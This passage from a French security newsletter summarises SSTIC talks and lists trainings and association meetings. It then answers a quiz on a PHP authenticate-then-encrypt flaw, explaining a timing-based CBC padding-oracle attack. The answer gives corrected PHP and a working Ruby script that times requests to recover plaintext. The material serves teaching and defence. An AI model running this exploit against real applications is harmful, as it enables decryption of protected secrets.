 propose des scripts [2] permettant d'effectuer l'installation de la rustine
 grsec, la régénération de la configuration et la gestion des mises jours .

 [1] Just In Time
 [2] git://anonscm.debian.org/users/corsac/grsec/debian-grsec-config.git
    https://anonscm.debian.org/git/users/corsac/grsec/debian-grsec-config.git


 Design de cryptographie white-box : et à la fin, c'est Kerckhoffs qui gagne
 Charles Hubain, Philippe Teuwen (NXP Semiconductors)

     La cryptographie boite-blanche est une implémentation de l'algorithme
 prévue pour réaliser toutes les opérations crypto sans fuite de données, pour
 résister à une attaque "white-box" où l'attaquant à la main sur le code
 source et les entrées-sorties du système étudié.
 L'attaque présentée dans cette conférence est le pendant logiciel des attaques
 par étude de la consommation. Elle consiste à observer pendant le déroulement
 de l'algorithme l'ensemble des accès mémoire effectués et leur contenu.
 L'observation des traces permet de detecter des motifs répétés et d'obtenir par
 exemple le nombre de tours de l'algorithme. Plusieurs autres acquisitions sont
 ensuite réalisées en faisant varier les entrées afin d'observer pour les mêmes
 actions les nouvelles valeurs obtenues au niveau des bits. Cela constitue un
 changement d'état à 0 ou 1 comme pour les attaques sur la consommation
 électrique. Il est alors possible suivant ce principe d'utiliser les outils
 classiques d'attaque sur la consommation et de recouvrer la clef.
 Ces attaques ne nécessitent de plus pas de rétroingénérie ou d'analyse
 sur l'implémentation spécifique.


 Windows Error Reporting
 Aurélien Bordes (ANSSI)

     Cette conférence présente le fonctionnement du WER, qui est le mécanisme
 résponsable de la génération et l'envoi des rapports d'erreur lors du plantage
 d'une application, ou qu'un pilote est manquant par exemple. Ce rapport est
 ensuite soit transmis a microsoft, soit au serveur d'entreprise. Ces rapports
 sont émis automatiquement. Pour un plantage du noyau, un vidage mémoire est
 généré qui est détecté au redémarrage. La mise en place d'un serveur
 d'entreprise est possible et permet d'éviter les fuites et d'avoir des
 informations pour la journalisation. Le protocole permet également au serveur
 de demander à la machine émettant le rapport des informations supplémentaires,
 comme un vidage mémoire ou l'éxecution d'une requête WMI.
 Une implémentation de server WER est disponible à l'URL suivante:
 https://github.com/aurel26/wer-server


 Bypassing DMA remapping with DMA
 Benoît Morgan, Eric Alata, Guillaume Averlant, Vincent Nicomette (LAAS/CNRS)

     L'attaque est un contournement des règles imposées par la fonctionnalité
 DMAR (Direct Memory Access Remapping) de l'IOMMU (Input Output Memory
 Management Unit) afin de pouvoir accéder à des emplacements arbitraires de
 la mémoire via la technologie DMA. L'IOMMU stocke ces règles dans des
 structures de données en mémoire principale et est désactivé au démarrage.
 Afin de réaliser cette attaque, l'attaquant dispose d'un accès au bus PCI
 Express (via un périphérique compromis  par exemple). L'attaquant va alors
 profiter du fait que le système ne protège pas les structures du DMAR au
 démarrage pour autoriser son périphérique en mode pass through. Une démo
 montre alors la facilité d'obtenir les droits root ou de rebooter la machine
 une fois que le périphérique dispose d'un accès complet à la RAM.


 Scapy en 15 minutes
 Guillaume Valadon (ANSSI), Pierre Lalet (CEA)


 Plaso & Timesketch
 Romain Gayon (Google)

     Plaso est un cadre permettant la réalisation "tout-terrain" d'échéanciers,
 indispensables dans toute étude inforensique. Des modules de recherche
 automatiques d'empreintes de logiciels malfaisants (VirusTotal, Viper) ont
 notamment été ajoutés par rapport aux versions précédentes.
 Timesketch s'appuie sur un arrière-guichet ElasticSearch pour regrouper
 différents échéanciers et en faciliter l'analyse, notamment grâce des
 fonctionnalités permettant le travail collaboratif.


 Graphes de dépendances : Petit Poucet style
 Aymeric Vincent, Camille Mougey, Caroline Leman, Fabrice Desclaux,
 Mathieu Blanc (CEA)

     Comment retrouver la source d'une variable ? Une question qui se pose
 souvent lors de l'analyse de code assembleur dans IDA, et qui peut parfois
 s'avérer longue et fastidieuse. La présentation s'appuie sur le cadre Angr
 et sur le concept de 'backward data tainting' afin résoudre ce problème.


 Conférence de clôture
 Karthikeyan Bhargavan (INRIA)

     La conférence de clôture portait sur le protocole TLS est ses
 implémentations. Après un rapide historique des attaques et des correctifs des
 20 dernières années. Karthikeyan Bhargavan à donné des recommandations sur les
 bonnes manières d'implémenter TLS, notamment, utiliser des méthodes formelles
 et un langage de type-safe. Il présente également MiTLS, une implémentation du
 protocole TLS vérifiée en F* et écrite en F#. Il finit sur une présentation de
 deux attaques récentes sur TLS : LogJam et Sloth, et explique les mécanismes
 implémentés dans TLSv1.3 (la prochaine version de TLS) pour s'en prémunir.

 http://www.mitls.org/




--[ 6. Prochaines formations HSC ]-----------------------------------------

     Nos prochaines formations sont les suivantes :

 - Paris
        Essentiels de l'ISO22301    ............    : 9 septembre
        Formation RPCA    ......................    : 12 au 16 septembre
        Essentiels techniques de la SSI    .....    : 12 et 13 septembre
        Protéger les applis web (DEV522 /GIAC GWEB) : 12 au 16 septembre (*)(#)
        Formation RPCA    ......................    : 12 au 16 septembre
        ISO 27005 Risk Manager    ..............    : 14 au 16 septembre (#)
        Sécurité du Cloud Computing    .........    : 19 au 21 septembre
        ISO 27001 Lead Implementer    ..........    : 19 au 23 septembre (#)
        Inforensique Windows (SANS FOR408/GIAC GCFE): 19 au 23 septembre (*)(#)
        Tests d'intrusion avancés, exploits,
        hacking éthique (SANS SEC560 / GIAC GPEN)   : 26 au 30 septembre (*)(#)
        ISO 27001 Lead Auditor    ..............    : 26 au 30 septembre (#)
        Correspondant Informatique et Libertés      : 28 au 30 septembre (@)
        ISO 27005 Risk Manager    ..............    : 3 au 5 octobre (#)
        Formation RSSI    ......................    : 3 au 7 octobre
        Inforensique réseau avancée (SANS FOR572)   : 3 au 7 octobre (*)(#)
        Anticiper le règlement européen    .....    : 7 octobre
        Techniques de hacking, exploitation de failles
        et gestion des incidents (SEC504/GCIH)      : 10 au 14 octobre (*)(#)
        Préparation au CISA    .................    : 10 au 14 octobre (#)
        ISO 22301 Lead Implementer    ..........    : 10 au 14 octobre (#)
        Essentiel de PCI-DSS 3.2   .............    : 11 octobre
        Tests d'intrusion des applications web et
        hacking éthique (SANS SEC542 / GIAC GWAPT)  : 17 au 21 octobre (#)
        Formation CISSP    .....................    : 17 au 21 octobre (#)
        Privacy Lead Implementer    ............    : 24 au 28 octobre (#)
        Fondamentaux & principes de la SSI
        (SANS SEC401/GIAC GSEC)   ..............    : 24 au 29 octobre (*)(#)
        Sécurité SCADA    ......................    : 2 au 4 novembre (*)
        Essentiels Informatique et Liberté   ...    : 4 novembre
        Sécurité du WiFi    ....................    : 7 et 8 novembre (*)
        EBIOS Risk Manager    ..................    : 7 au 9 novembre (#)
        DNSSEC    ..............................    : 9 et 10 novembre (*)
        Analyse Inforensique avancée et réponse aux
        incidents (SANS FOR508 / GIAC GCFA)    .    : 14 au 18 novembre (*)(#)
        ISO 27005 Risk Manager    ..............    : 14 au 16 novembre (#)
        PSSIE & RGS v2   .......................    : 18 novembre
        ISO 27001 Lead Implementer    ..........    : 21 au 25 novembre (#)
        Expert Sécurité Linux LPI 303   ........    : 21 au 25 novembre (*)(#)
        Tests d'intrusion avancés des applications
        web et hacking éthique (SANS SEC642)  ...   : 21 au 25 novembre (*)
        ISO 27001 Lead Auditor    ..............    : 28 novembre au 2 déc. (#)
        Tests d'intrusion avancés, exploitation de
        failles et hacking éthique (SEC660/GXPN)    : 28 novembre au 3 déc(*)(#)
        Droit de la sécurité informatique    ...    : 1 et 2 décembre
        Mesures de sécurité ISO 27002:2013   ...    : 5 et 6 décembre
        Indicateurs & tableaux de bord SSI/ISO27004 : 7 décembre
        Gestion des incidents de sécurité/ISO27035  : 8 décembre
        Gestion de crise IT/SSI    .............    : 9 décembre
        ISO 27005 Risk Manager    ..............    : 12 au 14 décembre (#)
        Gestion des risques avancée    .........    : 15 et 16 décembre
        Sécuriser Windows (SANS SEC505/GIAC GCWN)   : 12 au 16 décembre (*)(#)
        ISO 22301 Lead Auditor    ..............    : 2017 (#)
        Sécurité des nouveaux usages   .........    : 2017
        PKI : principes et mise en oeuvre    ...    : 2017 (*)
        Outils et techniques d'analyse
        (SANS FOR610/GIAC GREM)   ..............    : 2017 (*)
        Inforensique ordiphones/tablettes (FOR585)  : 2017 (*)(#)
        Supervision, surveillance et détection
        d'intrusion (SANS SEC511 / GIAC GMON)       : 2017 (*)(#)

 (*) : formations avec travaux pratiques, avec un ordinateur par stagiaire
 (#) : formations certifiantes par LSTI, ISC2, GIAC, LPI ou ISACA
 (@) : formation labellisée par la CNIL (www.cnil.fr)

 - Luxembourg
        Formation CISSP    .....................    : nous consulter (#)
        ISO 27001 Lead Implementer    ..........    : 17 au 21 octobre (#)
        ISO 27005 Risk Manager    ..............    : 2017 (#)
        ISO 22301 Lead Implementer    ..........    : nous consulter (#)

 - Toulouse
        ISO 27005 Risk Manager    ..............    : mai 2017 (#)
        ISO 27001 Lead Implementer    ..........    : mai 2017 (#)
        Correspondant Informatique et Libertés .    : 2017

 (#) : formations certifiantes
 (@) : formation labellisée par la CNIL (www.cnil.fr)

 HSC est certifiée OPQF (http://www.opqf.com/) et ISO9001 par Intertek sur
 ses formations.

 Pour tout renseignement ou inscription, contactez Lynda Benchikh :
 formations at hsc.fr -- +33 141 409 704 ou standard +33 141 409 700

 Retrouvez le détail de nos formations (plan pédagogique, agenda) ainsi que
 notre catalogue 2016 en PDF sur http://www.hsc-formation.fr/



--[ 7. Actualité des associations : Club 27001, OSSIR et Clusif ]---------

  o Club 27001 (http://www.club-27001.fr/)
     . Assemblée Générale annuelle du Club 27001 : date annoncée dans la liste
       électronique
     . Prochaine réunion à Paris jeudi 20 octobre à 14h00
         - "La Déclaration d'Applicabilité" par Béatrice Joucreau
	   (HSC by Deloitte)
           par Christophe Delpierre (Sigfy)
         - Seconde présentation en cours de confirmation
     . Réunion suivante à Paris jeudi 20 octobre
     . Reprise des réunions à Lyon !!
       Inscrivez-vous à la liste du club à Lyon
       http://www.club-27001.fr/mailman/listinfo/club-27001-lyon
     . Prochaine réunion à Toulouse le 16 septembre à 13h45
        - "ISO-IEC 27001 et/ou ISO 22301 : divergences et convergences entre
           un SMSI et un SMCA" par Gilles Trouessin (Accesssif)
        - Seconde présentation en cours de confirmation
     . Autres prochaines réunions annoncées sur www.club-27001.fr et dans
       les listes électroniques.
       Inscrivez-vous sur les listes de chaque ville sur www.club-27001.fr
       pour suivre l'activité du Club 27001 en région.

 o OSSIR (http://www.ossir.org/)
     . Prochaine réunion à Paris le mardi 12 juillet à l'EPITA amphi 3 à 14h
         - "Compte-rendu du SSTIC" par Bruno Dorsemaine et Jean-Loup Richet
	   (Orange)
         - "SOC 2.0 avec plateforme EDR (Endpoint Detection & Response)"
           par Francis Ia (Guidance Software)
         - Revue de vulnérabilités
     . Réunion suivante à Paris le mardi 13 septembre
         - "Surveillance continue et adaptative Elastic Detector" par Frédéric
           Donnat (Aleastic Search)
         - Seconde présentation en cours de confirmation
         - Revue de vulnérabilités
     . Réunion suivante à Paris le mardi 11 octobre
         - "Armadito" par François Dechelle et Valentin Hamon
         - Seconde présentation en cours de confirmation
         - Revue de vulnérabilités
     . Prochaine réunion à Toulouse à la rentrée de septembre
     . Prochaine réunion à Rennes jeudi 26 juin chez Orange Salle A026 à 14h
         - "Résolution du challenge SSTIC 2016 par Guillaume Teissier (Orange)
         - "Compte-Rendu du SSTIC 2016"
     . Prochaine réunion à Rennes jeudi 15 septembre

 o Clusif (http://www.clusif.fr/)
     . Prochaine conférence mercredi 19 octobre à 16h00 à la CCI place de la
       Bourse : Sujet en cours de confirmation
     . Conférence suivante mercredi 7 décembre à 16h00 à la CCI place de la
       Bourse sur la sécurité SCADA
         - Nouvelle version des fiches de lecture du panorama des documents
	   liés à la sécurité des systèmes d'information industriels
         - Présentation des incidents liés à la sécurité industrielle
       https://www.clusif.asso.fr/fr/infos/event/

 o ISSA France
     . Prochain afterworks mardi 23 septembre
         - Sujet pas encore fixé.
       http://securitytuesday.com/



--[ 8. Le saviez-vous ? La réponse ]--------------------------------------

  o TLDR
    La réponse est un peu longue, alors pour les impatients :
  - Authentifier puis chiffrer, c'est pas bien, il faut préférer chiffrer puis
    authentifier ;
  - Les attaques par Padding Oracle sur CBC ne s'exploitent pas que lors d'une
    erreur de Padding, un canal auxiliaire peut être utilisé ;
  - Ce code est exploitable et permet de retrouver le texte clair.


  o Mauvaise pratique : authentifier puis chiffrer

    La première chose à remarquer ici est que le code ne respecte pas un des
  principes de cryptographie moderne : il faut vérifier l'intégrité du texte
  chiffré et non du texte clair. Ainsi, il faut chiffrer puis authentifier,
  alors que le code de la question fait l'inverse : il authentifie puis chiffre.

  Cette mauvaise pratique expose notamment de plusieurs vulnérabilités dans
  SSL et TLS avec l'utilisation des algorithmes utilisant CBC [1][2].

  o Rappel rapide des attaques par Padding Oracle sur CBC

  Les attaques par Padding Oracle sont traditionnellement exploitées à l'aide
  d'une erreur de padding, l'attaquant est en mesure de différencier trois
  états :
  - le texte est déchiffré correctement ;
  - le texte est déchiffré mais les données semblent aléatoires et peuvent
    créer une erreur dans l'application ;
  - le déchiffrement n'a pas réussi à cause d'une erreur de padding.

  Le chiffrement par bloc en CBC utilise le fonctionnement suivant lors du
  déchiffrement :

                       CHIF1---   CHIF2
                         |    |     |
                        _|_   |    _|_
                       |   |  |   |   |
                       |___|  |   |___|
                         |    |     |
                        KS1   |    KS2
                         |    |     |
                  IV -> xor   ---> xor
                         |          |
                       CLAIR1     CLAIR2

  Si ce schéma ne vous semble pas clair, une version plus lisible et graphique
  est présente sur Wikipédia [3].

  Lors du déchiffrement, la sortie de l'algorithme est appelée KeyStream (KS1
  et KS2 dans le schéma). Pour obtenir le texte clair associé, il faut
  appliquer l'opération xor du KeyStream avec le texte chiffré précédent. Par
  exemple, ici, pour obtenir le texte clair correspondant au deuxième bloc
  (CLAIR2), il est nécessaire de faire l'opération suivante :

    CLAIR2 = CHIF1 ^ KS2

  Où "^" représente l'opération xor.

  Il est donc possible pour un attaquant de modifier CHIF1 et d'avoir une
  modification prédictible de CLAIR2 : une modification d'un octet de CHIF1
  modifiera uniquement l'octet correspondant de CLAIR2, mais CLAIR1 sera alors
  complètement modifié et non prédictible.

  Ainsi, un attaquant qui modifie CHIF1 va pouvoir créer un padding incorrect
  dans CLAIR2 et provoquer une erreur. S'il n'y a pas d'erreur alors l'attaquant
  sera en mesure de déterminer que le padding était valide, donc déterminer la
  valeur de KS2 correspondant à un padding valide et retrouver la valeur
  originale de CLAIR2.


  o Retour à notre question

  En PHP, la fonction mcrypt_encrypt exécute un chiffrement par bloc en
  rajoutant des caractères nuls (\x00) (le "padding") à la fin de la chaîne
  jusqu'à occuper un bloc complet. Pour récupérer la chaîne de départ il faut
  donc retirer tous les 0x00 à la fin de la chaîne. Dans notre cas, le code
  suivant est responsable de retirer les 0x00 de fin :

    for($i=0;$i<strlen($secret);$i++)
      if($secret[$i] == "\x00")
      {
        $secret = substr($secret,0,$i);
        break;
      }

  Cette fonction ne va jamais renvoyer d'erreur et la variable $secret aura une
  valeur quoiqu'il arrive. Ainsi, l'attaque décrite précédemment exploitant
  une erreur observable de padding n'est pas applicable.

  Cependant, même sans erreur, il est possible d'obtenir des informations sur le
  padding en fonction du temps d'exécution de la boucle. Si un \x00 est présent
  alors la boucle s'exécutera plus lentement que s'il n'y a pas de \x00. En
  utilisant ce principe on peut rajouter des blocs "inutiles" qui vont
  uniquement servir à augmenter le temps d'exécution de la boucle. Ainsi, on
  pourra envoyer la charge utile suivante :

  BLOC1 BLOC2 BLOC3 PADD PADD PADD PADD [...]

  En modifiant BLOC2 il sera possible de déterminer de façon précise la
  valeur pour laquelle on obtient un \x00 dans BLOC3 et permettre l'attaque
  par "padding oracle".

  Cette méthode pose cependant quelques problèmes :

  PADD, une fois déchiffré, pourrait contenir des 0x00. Une solution pour le
  détecter serait d'observer le temps de réponse, et s'il est trop court,
  tenter avec un nouveau PADD. Cette solution n'est pas implémentée dans le
  code fourni. Il faut donc le relancer plusieurs fois si les résultats
  semblent incohérents.

  Lors de la détermination de BLOC3 on va modifier BLOC2. Si la modification de
  BLOC2 crée un octet nul en sortie alors les résultats seront faux. Pour
  limiter ce problème, une fonction "randomize" est implémentée qui randomise
  le BLOC2 avant l'attaque, et on va rejouer l'attaque plusieurs fois avec
  plusieurs randomisation différentes. Le but étant d'obtenir de bonnes chances
  que plusieurs de nos essais ne contiennent pas de blocs nuls, et ainsi, pouvoir
  déterminer la différence de temps.

  o Retrait du padding

  La façon choisie de retirer le padding n'est pas optimale : il serait
  préférable de retirer le padding en partant de la fin de la chaîne et
  supprimer tous les \x00 jusqu'à rencontrer un caractère différent. La
  fonction rtrim permet cela. Ainsi, le code pourrait être transformé de la
  façon suivante :

      $secret = rtrim($secret,"\0");

  Notre optimisation n'est alors plus possible et l'attaque, telle que décrite
  précédemment ne fonctionne plus. Cependant on peut toujours appliquer les
  mêmes principes pour déterminer le padding. L'attaque est tout de même,
  beaucoup plus difficile à mettre en oeuvre. En effet, Scrott Crosby [4] a
  démontré qu'il est possible de déterminer de façon très précise le nombre
  d'itération à partir d'un mesure du temps d'exécution du script.
  Cette attaque est cependant beaucoup plus complexe à implémenter et sera
  probablement peu fiable.

  o Conclusion

  L'attaque est complexe mais réaliste. Le code est fourni à la fin de cette
  newsletter. Il est perfectible mais fonctionnel.

  Pensez-donc y lors de vos développements et audit et ne vous contentez pas de
  supprimer les erreurs de padding : préférez une vérification d'authenticité
  correctement implémentée et quand ils sont disponibles, des modes
  authentifiant tels que CCM ou GCM sont préférables.

  Le code suivant corrige les problèmes évoqués :

  encryptsecret.php
  <?php
  $key = "Good random key!";
  $secret = "le mot de passe très secret est : motdepasse";
  $size = mcrypt_get_iv_size(MCRYPT_RIJNDAEL_128, MCRYPT_MODE_CBC);
  $iv = mcrypt_create_iv($size);

  $crypt = mcrypt_encrypt(MCRYPT_RIJNDAEL_128, $key, $secret, MCRYPT_MODE_CBC, $iv);

  $sign = hash_hmac("sha256", $crypt, $key); // chiffre *puis* authentifie

  echo '<a href="checksecret.php?secret='.urlencode(base64_encode($crypt)).
    '&iv='.urlencode(base64_encode($iv)).
    '&sign='.urlencode(base64_encode($sign)).'">';
  echo 'go do some stuff';
  echo '</a>'
  ?>


  checksecret.php
  <?php
  $key = "Good random key!";
  $crypt = base64_decode($_GET['secret']);
  $iv = base64_decode($_GET['iv']);
  $sign = base64_decode($_GET['sign']);

  // La signature est vérifiée *avant* de déchiffrer. Il n'est pas possible de
  mener la moindre attaque sur le déchiffrement.
  if ($sign != hash_hmac("sha256", $crypt, $key)) {
    die("Bad signature");
  }

  $secret = mcrypt_decrypt(MCRYPT_RIJNDAEL_128, $key, $crypt, MCRYPT_MODE_CBC, $iv);

  // Ce code n'est pas optimal mais ne présente plus de vulnérabilités.
  for($i=0;$i<strlen($secret);$i++)
    if($secret[$i] == "\x00")
    {
      $secret = substr($secret,0,$i);
      break;
    }

  echo "got the secret, can do some stuff";
  ?>

  o Références

  [1] https://www.imperialviolet.org/2013/02/04/luckythirteen.html
  [2] https://www.imperialviolet.org/2014/10/14/poodle.html
  [3] https://fr.wikipedia.org/wiki/Mode_d%27op%C3%A9ration_(cryptographie)
  [4] https://www.cs.rice.edu/~dwallach/pub/crosby-timing2009.pdf

  o Code source (en ruby)

    Notez que ce code source contient quelques variables en début de code qu'il
  faut adapter (notamment PATH). Pour mes tests la variable ITERATION à 30
  offrait un bon compromis entre mauvais résultats et exécution trop lente du
  script, mais si nécessaire vous pouvez l'augmenter.

    Notez aussi que pour quelques raisons décrites plus tôt le code ne marche
  pas systématiquement. Si les résultats ne sont pas bons, relancez le script.

require 'net/http'
require 'erb'

# Quelques constantes pour la configuration du script
# le site cible
REMOTE_SITE = '127.0.0.1'
# le chemin d'accès à l'application
PATH = '/path_to_scripts/'
# le block à attaquer. L'attaque ne fonctionne pas pour le block 0 car il faut
# faire varier l'IV au lieu du bloc précédent. C'est en pratique plus facile #
mais ce n'est pas implémenté, l'exercice laissé au lecteur :)
TARGET = 2
# nombre d'itérations, plus le nombre est grand plus les résultats sont
# fiables, plus il est petit plus le script est rapide
ITERATION = 30


# Quelques fonctions d'aide {{{
class String
  def urldecode
    URI.decode(self)
  end

  def urlencode
    ERB::Util::url_encode(self)
  end

  def from_base64
    unpack("m").first
  end

  def to_base64
    [self].pack("m0")
  end
  # Transforme une chaine de caractères en tableau de char (entier de 0 à 255)
  def string_to_rawbytes
    unpack("C*").map{|e| e.ord}
  end
end

class Array
  # Transformation inverse
  def rawbytes_to_string
    map{|e| e.chr}.join
  end
end


# Appelle le script et récupère les chaînes chiffrées
def get_encrypt()
  req = Net::HTTP::Get.new(PATH + 'encryptsecret.php')
  Net::HTTP.start(REMOTE_SITE, 80) {|http|
    res = http.request(req)
    tmp = res.body.split(/[=\/?&"]/)
    [tmp[4], tmp[6], tmp[8]].map {|e| e.urldecode.from_base64.string_to_rawbytes}
  }
end

# Appelle la fonction déchiffrant notre secret, cette fonction renvoie le temps que la requête a mis à être effectuée.
def call_app(secret, iv, sign)
  secret_t, iv_t,  sign_t = [secret, iv, sign].map {|e| e.rawbytes_to_string.to_base64.urlencode}

  # Réessaye plusieurs fois au cas où le serveur se mette à ne plus répondre en
  # raison de nos nombreux essais
  # Note : c'est une mauvaise pratique de mettre un rescue sans exception spécifique.
  tries = 5

  begin
  req = Net::HTTP::Get.new(PATH + 'checksecret.php?secret=' + secret_t + '&iv=' + iv_t + '&sign=' + sign_t)

    Net::HTTP.start(REMOTE_SITE, 80) {|http|
      t1 = Time.now
      res = http.request(req)
      t2 = Time.now
      if res.code != "200"
        puts "ERROR OCCURED"
        puts res.code
        puts res.body
        puts req.
          exit
      end
      return [res.body, t2-t1]
    }
  rescue
    tries = tries -1
    if tries == 0
      raise $!
    end
    sleep 5
    retry
  end
end

# randomise l'octet n de block en évitant la valeur originale
def randomize(block, n, orig)
  new_byte = rand(255)
  while new_byte == orig[n] or new_byte == block[n] do
    new_byte = rand(255)
  end
  block[n] = new_byte
  block
end

# }}}

# Récupération initiale d'un secret
secret, iv, sign = get_encrypt()

# On crée notre liste de blocks
blocks = []
secret.each_slice(16) {|slice| blocks << slice}

# Comme on modifie block[n] pour attaquer block[n+1], il est intéressant de :
# - xor chacun des éléments avec 1 (transforme 0 en 1 et transforme un caractère
#   affichable en autre chose que 0, utile dans le cas d'une chaîne ascii
# - randomiser les changements effectués sur block[n] pour faire varier la
#   présence des 0 en sortie du déchiffrement de block[n]


blocks_backup = blocks.map(&:dup)

glob_res = []
0.upto(15) do |chr|

  target = TARGET
  blocks = blocks_backup.map(&:dup)
  ciphered_orig = blocks[target-1][chr]
  resultat = []

  blocks[target-1].map{|e| e^1}
  resultat = []


  to_rand = 1
  res = []
  0.upto(255) do |i|
    # Affichage d'une barre de progression pour le prochain caractère et
    # affichage des caractères déjà découverts
    if i%16 == 12
      print "\r[#{"-"*(i/16)}#{" "*(16-i/16 - 1)}]" + ' "' + glob_res.map{|x| x.chr}.join + '"'
      $stdout.flush
    end
    body = nil
    blocks[target-1][chr] = i
    resultat_i = []
    0.upto(ITERATION) do |timer|
      randomize(blocks[target-1], to_rand, ciphered_orig)
      to_rand = (to_rand + 1)%16
      if to_rand == chr
        to_rand = (to_rand + 1)%16
      end
      body, delta = call_app((blocks[0..target] + blocks_backup[1]*300).flatten, iv, sign)
      resultat_i << delta
    end
    # On fait la somme des résultats découverts en évitant les extrêmes
    # Le bon résultat sera celui qui donne la somme la plus grande
    #
    # Il est à noter que la qualité du script peut être largement améliorée par
    # une analyse statistique plus intelligente de l'échantillon de résultats
    # obtenus. N'étant pas statisticien la première solution qui marche bien a
    # été retenue :)
    res << [i, resultat_i.sort[(resultat_i.length * 0.1).to_i..(resultat_i.length * 0.9).to_i].inject{|sum,x| sum+x}]
  end
  resultat = res.sort{|x,y| x[1] <=> y[1]}
  glob_res << (resultat[0][0]^ciphered_orig)
end



Plus d'informations sur la liste de diffusion newsletter